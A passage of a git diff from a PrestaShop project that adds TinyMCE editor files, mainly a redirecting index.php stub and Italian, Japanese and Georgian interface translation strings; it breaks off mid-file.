+* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/it.js b/js/tiny_mce2/themes/advanced/langs/it.js new file mode 100755 index 0000000..af84c79 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/it.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.advanced',{"underline_desc":"Sottolineato (Ctrl+U)","italic_desc":"Corsivo (Ctrl+I)","bold_desc":"Grassetto (Ctrl+B)",dd:"Descrizione definizione",dt:"Termine definizione",samp:"Esempio codice",code:"Codice",blockquote:"Testo quotato",h6:"Intestazione 6",h5:"Intestazione 5",h4:"Intestazione 4",h3:"Intestazione 3",h2:"Intestazione 2",h1:"Intestazione 1",pre:"Preformattato",address:"Indirizzo",div:"Div",paragraph:"Paragrafo",block:"Formato",fontdefault:"Famiglia carattere","font_size":"Grandezza carattere","style_select":"Stili","anchor_delta_height":"anchor_delta_height","anchor_delta_width":"anchor_delta_width","charmap_delta_height":"charmap_delta_height","charmap_delta_width":"charmap_delta_width","colorpicker_delta_height":"colorpicker_delta_height","colorpicker_delta_width":"colorpicker_delta_width","link_delta_height":"link_delta_height","link_delta_width":"link_delta_width","image_delta_height":"image_delta_height","image_delta_width":"image_delta_width","more_colors":"Colori aggiuntivi","toolbar_focus":"Vai ai pulsanti strumento - Alt+Q, Vai all\'editor - Alt-Z, Vai al percorso dell\'elemento - Alt-X",newdocument:"Sei sicuro di voler cancellare tutti i contenuti?",path:"Percorso","clipboard_msg":"Copia/Taglia/Incolla non \u00e8 disponibile in Mozilla e Firefox..\nSi desidera avere maggiori informazioni su questo problema?","blockquote_desc":"Testo quotato","help_desc":"Aiuto","newdocument_desc":"Nuovo documento","image_props_desc":"Propriet\u00e0 immagine","paste_desc":"Incolla","copy_desc":"Copia","cut_desc":"Taglia","anchor_desc":"Inserisci/modifica ancora","visualaid_desc":"Mostra/nascondi linee guida/elementi invisibili","charmap_desc":"Inserisci carattere speciale","backcolor_desc":"Seleziona colore sfondo","forecolor_desc":"Seleziona colore testo","custom1_desc":"La tua descrizione personalizzata qui","removeformat_desc":"Rimuovi formattazione","hr_desc":"Inserisci riga orizzontale","sup_desc":"Apice","sub_desc":"Pedice","code_desc":"Modifica sorgente HTML","cleanup_desc":"Pulisci codice disordinato","image_desc":"Inserisci/modifica immagine","unlink_desc":"Togli collegamento","link_desc":"Inserisci/modifica collegamento","redo_desc":"Ripristina (Ctrl+Y)","undo_desc":"Annulla (Ctrl+Z)","indent_desc":"Sposta verso interno","outdent_desc":"Sposta verso esterno","numlist_desc":"Lista ordinata","bullist_desc":"Lista non ordinata","justifyfull_desc":"Giustifica","justifyright_desc":"Allinea a destra","justifycenter_desc":"Centra","justifyleft_desc":"Allinea a sinistra","striketrough_desc":"Barrato","help_shortcut":"Premi ALT-F10 Per la barra degli strumenti. Premi ALT-0 per l\'aiuto","rich_text_area":"Rich Text Area","shortcuts_desc":"Aiuto accessibilit\u00e0",toolbar:"Barra degli strumenti"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/it_dlg.js b/js/tiny_mce2/themes/advanced/langs/it_dlg.js new file mode 100755 index 0000000..55df2dc --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.advanced_dlg',{"link_list":"Lista link","link_is_external":"L\'URL inserito sembra essere un link esterno. Aggiungere il necessario prefisso http:// ?","link_is_email":"L\'URL inserito sembra essere un indirizzo email. Aggiungere il necessario prefisso mailto: ?","link_titlefield":"Titolo","link_target_blank":"Apri link in una nuova finestra","link_target_same":"Apri link nella stessa finestra","link_target":"Target","link_url":"URL link","link_title":"Inserisci/modifica collegamento","image_align_right":"A destra","image_align_left":"A sinistra","image_align_textbottom":"In basso al testo","image_align_texttop":"In alto al testo","image_align_bottom":"In basso","image_align_middle":"In mezzo","image_align_top":"In alto","image_align_baseline":"Alla base","image_align":"Allineamentot","image_hspace":"Spaziatura orizz.","image_vspace":"Spaziatura vert.","image_dimensions":"Dimensioni","image_alt":"Descrizione","image_list":"Lista immagini","image_border":"Bordo","image_src":"URL immagine","image_title":"Inserisci/modifica immagine","charmap_title":"Seleziona carattere speciale","colorpicker_name":"Nome:","colorpicker_color":"Colore:","colorpicker_named_title":"Colori per nome","colorpicker_named_tab":"Per nome","colorpicker_palette_title":"Tavolozza dei colori","colorpicker_palette_tab":"Tavolozza","colorpicker_picker_title":"Selettore colori","colorpicker_picker_tab":"Selettore","colorpicker_title":"Seleziona un colore","code_wordwrap":"A capo automatico","code_title":"Editor sorgente HTML","anchor_name":"Nome ancora","anchor_title":"Inserisci/modifica ancora","about_loaded":"Plugin caricati","about_version":"Versione","about_author":"Autore","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Licenza","about_help":"Aiuto","about_general":"Informazioni","about_title":"Informazioni su TinyMCE","charmap_usage":"Utilizza le freccie sinistra e destra per navigare.","anchor_invalid":"Specificare un nome di ancora valido.","accessibility_help":"Guida accessibilit\u00e0","accessibility_usage_title":"Uso generale"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ja.js b/js/tiny_mce2/themes/advanced/langs/ja.js new file mode 100755 index 0000000..f5533c5 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ja.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.advanced',{"underline_desc":"\u4e0b\u7dda (Ctrl+U)","italic_desc":"\u659c\u4f53 (Ctrl+I)","bold_desc":"\u592a\u5b57 (Ctrl+B)",dd:"\u8a9e\u53e5\u306e\u8aac\u660e",dt:"\u8a9e\u53e5\u306e\u5b9a\u7fa9",samp:"\u30b3\u30fc\u30c9\u306e\u4f8b",code:"\u30b3\u30fc\u30c9",blockquote:"\u5f15\u7528",h6:"\u898b\u51fa\u30576",h5:"\u898b\u51fa\u30575",h4:"\u898b\u51fa\u30574",h3:"\u898b\u51fa\u30573",h2:"\u898b\u51fa\u30572",h1:"\u898b\u51fa\u30571",pre:"\u6574\u5f62\u6e08\u307f",address:"\u4f4f\u6240",div:"div\u8981\u7d20",paragraph:"\u6bb5\u843d",block:"\u66f8\u5f0f",fontdefault:"\u30d5\u30a9\u30f3\u30c8","font_size":"\u30d5\u30a9\u30f3\u30c8\u306e\u5927\u304d\u3055","style_select":"\u30b9\u30bf\u30a4\u30eb","more_colors":"\u3055\u3089\u306b\u8272\u3092\u4f7f\u7528...","toolbar_focus":"\u30c4\u30fc\u30eb\u30dc\u30bf\u30f3\u3078\u79fb\u52d5 - Alt Q, \u30a8\u30c7\u30a3\u30bf\u306b\u79fb\u52d5 - Alt-Z, \u8981\u7d20\u306e\u30d1\u30b9\u3078\u79fb\u52d5 - Alt-X",newdocument:"\u672c\u5f53\u306b\u3059\u3079\u3066\u306e\u5185\u5bb9\u3092\u6d88\u53bb\u3057\u3066\u3088\u3044\u3067\u3059\u304b?",path:"\u30d1\u30b9","clipboard_msg":"\u30b3\u30d4\u30fc/\u5207\u308a\u53d6\u308a/\u8cbc\u308a\u4ed8\u3051\u306fMozilla\u3068Firefox\u3067\u306f\u4f7f\u7528\u3067\u304d\u307e\u305b\u3093\u3002\n\u3053\u306e\u554f\u984c\u306e\u8a73\u7d30\u3092\u77e5\u308a\u305f\u3044\u3067\u3059\u304b?","blockquote_desc":"\u5f15\u7528\u30d6\u30ed\u30c3\u30af","help_desc":"\u30d8\u30eb\u30d7","newdocument_desc":"\u65b0\u3057\u3044\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8","image_props_desc":"\u753b\u50cf\u306e\u5c5e\u6027","paste_desc":"\u8cbc\u308a\u4ed8\u3051","copy_desc":"\u30b3\u30d4\u30fc","cut_desc":"\u5207\u308a\u53d6\u308a","anchor_desc":"\u30a2\u30f3\u30ab\u30fc\u306e\u633f\u5165/\u7de8\u96c6","visualaid_desc":"\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\u3068\u975e\u8868\u793a\u8981\u7d20\u306e\u8868\u793a\u3092\u5207\u66ff","charmap_desc":"\u7279\u6b8a\u6587\u5b57","backcolor_desc":"\u80cc\u666f\u306e\u8272","forecolor_desc":"\u6587\u5b57\u306e\u8272","custom1_desc":"\u8aac\u660e\u6587\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002","removeformat_desc":"\u66f8\u5f0f\u306e\u524a\u9664","hr_desc":"\u6c34\u5e73\u7dda\u3092\u633f\u5165","sup_desc":"\u4e0a\u4ed8\u304d\u6587\u5b57","sub_desc":"\u4e0b\u4ed8\u304d\u6587\u5b57","code_desc":"HTML\u306e\u30bd\u30fc\u30b9\u3092\u7de8\u96c6","cleanup_desc":"\u4e71\u96d1\u306a\u30b3\u30fc\u30c9\u3092\u6574\u5f62","image_desc":"\u753b\u50cf\u306e\u633f\u5165/\u7de8\u96c6","unlink_desc":"\u30ea\u30f3\u30af\u3092\u89e3\u9664","link_desc":"\u30ea\u30f3\u30af\u306e\u633f\u5165/\u7de8\u96c6","redo_desc":"\u3084\u308a\u76f4\u3059 (Ctrl+Y)","undo_desc":"\u5143\u306b\u623b\u3059 (Ctrl+Z)","indent_desc":"\u5b57\u4e0b\u3052\u3092\u5897\u3084\u3059","outdent_desc":"\u5b57\u4e0b\u3052\u3092\u6e1b\u3089\u3059","numlist_desc":"\u756a\u53f7\u3064\u304d\u30ea\u30b9\u30c8","bullist_desc":"\u756a\u53f7\u306a\u3057\u30ea\u30b9\u30c8","justifyfull_desc":"\u5747\u7b49\u5272\u4ed8","justifyright_desc":"\u53f3\u63c3\u3048","justifycenter_desc":"\u4e2d\u592e\u63c3\u3048","justifyleft_desc":"\u5de6\u63c3\u3048","striketrough_desc":"\u53d6\u308a\u6d88\u3057\u7dda","help_shortcut":"ALT-F10 \u3067\u30c4\u30fc\u30eb\u30d0\u30fc\u3001ALT-0 \u3067\u30d8\u30eb\u30d7","rich_text_area":"\u30ea\u30c3\u30c1\u30c6\u30ad\u30b9\u30c8\u30a8\u30ea\u30a2","shortcuts_desc":"\u30a2\u30af\u30bb\u30b7\u30d3\u30ea\u30c6\u30a3\u306e\u30d8\u30eb\u30d7",toolbar:"\u30c4\u30fc\u30eb\u30d0\u30fc","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ja_dlg.js b/js/tiny_mce2/themes/advanced/langs/ja_dlg.js new file mode 100755 index 0000000..74fd6d5 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.advanced_dlg',{"link_list":"\u30ea\u30f3\u30af\u306e\u4e00\u89a7","link_is_external":"\u5165\u529b\u3057\u305fURL\u306f\u5916\u90e8\u306e\u30ea\u30f3\u30af\u306e\u3088\u3046\u3067\u3059\u3002\u30ea\u30f3\u30af\u306b http:// \u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b?","link_is_email":"\u5165\u529b\u3057\u305fURL\u306f\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306e\u3088\u3046\u3067\u3059\u3002\u30ea\u30f3\u30af\u306b mailto: \u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b?","link_titlefield":"\u30bf\u30a4\u30c8\u30eb","link_target_blank":"\u65b0\u3057\u3044\u30a6\u30a4\u30f3\u30c9\u30a6\u3067\u958b\u304f","link_target_same":"\u540c\u3058\u30a6\u30a4\u30f3\u30c9\u30a6\u3067\u958b\u304f","link_target":"\u30bf\u30fc\u30b2\u30c3\u30c8","link_url":"\u30ea\u30f3\u30af\u306eURL","link_title":"\u30ea\u30f3\u30af\u306e\u633f\u5165/\u7de8\u96c6","image_align_right":"\u53f3\u63c3\u3048","image_align_left":"\u5de6\u63c3\u3048","image_align_textbottom":"\u30c6\u30ad\u30b9\u30c8\u306e\u4e0b\u7aef\u63c3\u3048","image_align_texttop":"\u30c6\u30ad\u30b9\u30c8\u306e\u4e0a\u7aef\u63c3\u3048","image_align_bottom":"\u4e0b\u63c3\u3048","image_align_middle":"\u4e2d\u592e\u63c3\u3048","image_align_top":"\u4e0a\u63c3\u3048","image_align_baseline":"\u30d9\u30fc\u30b9\u30e9\u30a4\u30f3\u63c3\u3048","image_align":"\u914d\u7f6e","image_hspace":"\u5de6\u53f3\u306e\u4f59\u767d","image_vspace":"\u4e0a\u4e0b\u306e\u4f59\u767d","image_dimensions":"\u5bf8\u6cd5","image_alt":"\u753b\u50cf\u306e\u8aac\u660e","image_list":"\u753b\u50cf\u306e\u4e00\u89a7","image_border":"\u67a0\u7dda","image_src":"\u753b\u50cf\u306eURL","image_title":"\u753b\u50cf\u306e\u633f\u5165/\u7de8\u96c6","charmap_title":"\u7279\u6b8a\u6587\u5b57","colorpicker_name":"\u540d\u524d:","colorpicker_color":"\u8272:","colorpicker_named_title":"\u5b9a\u7fa9\u6e08\u307f\u306e\u8272","colorpicker_named_tab":"\u5b9a\u7fa9\u6e08\u307f","colorpicker_palette_title":"\u30d1\u30ec\u30c3\u30c8\u306e\u8272","colorpicker_palette_tab":"\u30d1\u30ec\u30c3\u30c8","colorpicker_picker_title":"\u8272\u9078\u629e","colorpicker_picker_tab":"\u9078\u629e","colorpicker_title":"\u8272\u3092\u9078\u629e","code_wordwrap":"\u884c\u306e\u6298\u308a\u8fd4\u3057","code_title":"HTML\u306e\u30bd\u30fc\u30b9\u30a8\u30c7\u30a3\u30bf","anchor_name":"\u30a2\u30f3\u30ab\u30fc\u306e\u540d\u524d","anchor_title":"\u30a2\u30f3\u30ab\u30fc\u306e\u633f\u5165/\u7de8\u96c6","about_loaded":"\u8aad\u307f\u8fbc\u307f\u6e08\u307f\u306e\u30d7\u30e9\u30b0\u30a4\u30f3","about_version":"\u30d0\u30fc\u30b8\u30e7\u30f3","about_author":"\u4f5c\u6210\u8005","about_plugin":"\u30d7\u30e9\u30b0\u30a4\u30f3","about_plugins":"\u30d7\u30e9\u30b0\u30a4\u30f3","about_license":"\u30e9\u30a4\u30bb\u30f3\u30b9","about_help":"\u30d8\u30eb\u30d7","about_general":"TinyMCE\u306b\u3064\u3044\u3066","about_title":"TinyMCE\u306b\u3064\u3044\u3066","charmap_usage":"\u5de6\u53f3\u306e\u30ab\u30fc\u30bd\u30eb\u30ad\u30fc\u3092\u4f7f\u7528\u3057\u3066\u79fb\u52d5\u3057\u3066\u304f\u3060\u3055\u3044\u3002","anchor_invalid":"\u6709\u52b9\u306a\u30a2\u30f3\u30ab\u30fc\u306e\u540d\u524d\u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002","accessibility_help":"\u30a2\u30af\u30bb\u30b7\u30d3\u30ea\u30c6\u30a3\u306e\u30d8\u30eb\u30d7","accessibility_usage_title":"\u5168\u822c\u7684\u306a\u4f7f\u3044\u65b9"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ka.js b/js/tiny_mce2/themes/advanced/langs/ka.js new file mode 100755 index 0000000..bc2b1fa --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ka.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.advanced',{"underline_desc":"\u10db\u10dd\u10ee\u10d0\u10d6\u10e3\u10e0\u10da\u10d8 (Ctrl+U)","italic_desc":"\u10d3\u10d0\u10ee\u10e0\u10d8\u10da\u10d8 (Ctrl+I)","bold_desc":"\u10dc\u10d0\u10ee\u10d4\u10d5\u10e0\u10d0\u10d3 \u10e1\u10e5\u10d4\u10da\u10d8 (Ctrl+B)",dd:"\u10ea\u10dc\u10dd\u10d1\u10d0\u10e0\u10d8\u10e1 \u10d0\u10e6\u10ec\u10d4\u10e0\u10d0",dt:"\u10ea\u10dc\u10dd\u10d1\u10d0\u10e0\u10d8\u10e1 \u10e2\u10d4\u10e0\u10db\u10d8\u10dc\u10d8",samp:"\u10d9\u10dd\u10d3\u10d8\u10e1 \u10db\u10d0\u10d2\u10d0\u10da\u10d8\u10d7\u10d8",code:"\u10d9\u10dd\u10d3\u10d8",blockquote:"\u10ea\u10d8\u10e2\u10d0\u10e2\u10d0",h6:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 6",h5:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 5",h4:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 4",h3:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 3",h2:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 2",h1:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 1",pre:"\u10d2\u10d0\u10d3\u10d0\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d4\u10d1\u10e3\u10da\u10d8",address:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8",div:"Div",paragraph:"\u10d0\u10d1\u10d6\u10d0\u10ea\u10d8",block:"\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d8",fontdefault:"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8","font_size":"\u10d6\u10dd\u10db\u10d0","style_select":"\u10e1\u10e2\u10d8\u10da\u10d8","more_colors":"\u10e1\u10ee\u10d5\u10d0 \u10e4\u10d4\u10e0\u10d4\u10d1\u10d8...","toolbar_focus":"\u10e6\u10d8\u10da\u10d0\u10d9\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10dc\u10d4\u10da\u10d6\u10d4 \u10d2\u10d0\u10d3\u10d0\u10e1\u10d5\u10da\u10d0 (Alt+Q). \u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10dd\u10e0\u10d6\u10d4 \u10d2\u10d0\u10d3\u10d0\u10e1\u10d5\u10da\u10d0 (Alt+Z). \u10d2\u10d6\u10d8\u10e1 \u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10d6\u10d4 \u10d2\u10d0\u10d3\u10d0\u10e1\u10d5\u10da\u10d0 (Alt+X).",newdocument:"\u10d3\u10d0\u10e0\u10ec\u10db\u10e3\u10dc\u10d4\u10d1\u10e3\u10da\u10d8 \u10ee\u10d0\u10e0\u10d7, \u10e0\u10dd\u10db \u10d2\u10e1\u10e3\u10e0\u10d7 \u10e7\u10d5\u10d4\u10da\u10d0\u10e4\u10d4\u10e0\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0",path:"\u10e2\u10d4\u10d2\u10d4\u10d1\u10d8","clipboard_msg":"\u10d9\u10dd\u10de\u10d8\u10e0\u10d4\u10d1\u10d0, \u10d0\u10db\u10dd\u10ed\u10e0\u10d0 \u10d3\u10d0 \u10e9\u10d0\u10e1\u10db\u10d0 Firefox-\u10e8\u10d8 \u10d0\u10e0 \u10db\u10e3\u10e8\u10d0\u10dd\u10d1\u10e1.\\r\n\u10d2\u10e1\u10e3\u10e0\u10d7 \u10db\u10d8\u10d8\u10e6\u10dd\u10d7 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8 \u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d0?","blockquote_desc":"\u10ea\u10d8\u10e2\u10d0\u10e2\u10d0","help_desc":"\u10d3\u10d0\u10ee\u10db\u10d0\u10e0\u10d4\u10d1\u10d0","newdocument_desc":"\u10d0\u10ee\u10d0\u10da\u10d8 \u10d3\u10dd\u10d9\u10e3\u10db\u10d4\u10dc\u10e2\u10d8","image_props_desc":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","paste_desc":"\u10e9\u10d0\u10e1\u10db\u10d0","copy_desc":"\u10d9\u10dd\u10de\u10d8\u10e0\u10d4\u10d1\u10d0","cut_desc":"\u10d0\u10db\u10dd\u10ed\u10e0\u10d0","anchor_desc":"\u10e6\u10e3\u10d6\u10d0\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","visualaid_desc":"\u10e7\u10d5\u10d4\u10da\u10d0 \u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd","charmap_desc":"\u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","backcolor_desc":"\u10db\u10dd\u10dc\u10d8\u10e1\u10dc\u10e3\u10da\u10d8 \u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","forecolor_desc":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","custom1_desc":"\u10e1\u10d0\u10d9\u10e3\u10d7\u10d0\u10e0\u10d8 \u10d0\u10e6\u10ec\u10d4\u10e0\u10d0","removeformat_desc":"\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d8\u10e1 \u10d2\u10d0\u10ec\u10db\u10d4\u10dc\u10d3\u10d0","hr_desc":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","sup_desc":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d6\u10d4\u10db\u10dd\u10d7","sub_desc":"\u10e1\u10e2\u10d8\u10e0\u10e5\u10dd\u10dc\u10d8\u10e1 \u10e5\u10d5\u10d4\u10db\u10dd\u10d7","code_desc":"HTML \u10d9\u10dd\u10d3\u10d8\u10e1 \u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","cleanup_desc":"\u10d6\u10d4\u10d3\u10db\u10d4\u10e2\u10d8 \u10d9\u10dd\u10d3\u10d8\u10e1\u10d0\u10d2\u10d0\u10dc \u10d2\u10d0\u10ec\u10db\u10d4\u10dc\u10d3\u10d0","image_desc":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","unlink_desc":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0","link_desc":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e8\u10d4\u10ea\u10d5\u10da\u10d0","redo_desc":"\u10d3\u10d0\u10d1\u10e0\u10e3\u10dc\u10d4\u10d1\u10d0 (Ctrl+Y)","undo_desc":"\u10d2\u10d0\u10e3\u10e5\u10db\u10d4\u10d1\u10d0 (Ctrl+Z)","indent_desc":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10d6\u10e0\u10d3\u10d0","outdent_desc":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d8\u10e1 \u10e8\u10d4\u10db\u10ea\u10d8\u10e0\u10d4\u10d1\u10d0","numlist_desc":"\u10d3\u10d0\u10dc\u10dd\u10db\u10e0\u10d8\u10da\u10d8 \u10e1\u10d8\u10d0","bullist_desc":"\u10db\u10d0\u10e0\u10d9\u10d8\u10e0\u10d4\u10d1\u10e3\u10da\u10d8 \u10e1\u10d8\u10d0","justifyfull_desc":"\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4\u10d6\u10d4","justifyright_desc":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5","justifycenter_desc":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0 \u10ea\u10d4\u10dc\u10e2\u10e0\u10d6\u10d4","justifyleft_desc":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5","striketrough_desc":"\u10d2\u10d0\u10d3\u10d0\u10ee\u10d0\u10d6\u10e3\u10da\u10d8","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ka_dlg.js b/js/tiny_mce2/themes/advanced/langs/ka_dlg.js new file mode 100755 index 0000000..a25659f --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.advanced_dlg',{"link_list":"\u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d8\u10d0","link_is_external":"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8 \u10d2\u10d0\u10d5\u10e1 \u10d2\u10d0\u10e0\u10d4 \u10d1\u10db\u10e3\u10da\u10e1, \u10d3\u10d0\u10d5\u10d0\u10db\u10d0\u10d7\u10dd\u10e2 \u10de\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8 http://?","link_is_email":"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8 \u10d2\u10d0\u10d5\u10e1 \u10d4\u10da.\u10e4\u10dd\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10e1, \u10d3\u10d0\u10d5\u10d0\u10db\u10d0\u10e2\u10dd\u10d7 \u10de\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8 mailto:?","link_titlefield":"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","link_target_blank":"\u10d0\u10ee\u10d0\u10da \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","link_target_same":"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","link_target":"\u10db\u10d8\u10d6\u10d0\u10dc\u10d8","link_url":"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8","link_title":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","image_align_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_textbottom":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_texttop":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_bottom":"\u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_middle":"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d6\u10d4","image_align_top":"\u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_baseline":"\u10e1\u10d0\u10d1\u10d0\u10d6\u10e1\u10dd \u10ee\u10d0\u10d6\u10d8\u10e1 \u10db\u10d8\u10ee\u10d4\u10d3\u10d5\u10d8\u10d7","image_align":"\u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0","image_hspace":"\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","image_vspace":"\u10d5\u10d4\u10e0\u10e2. 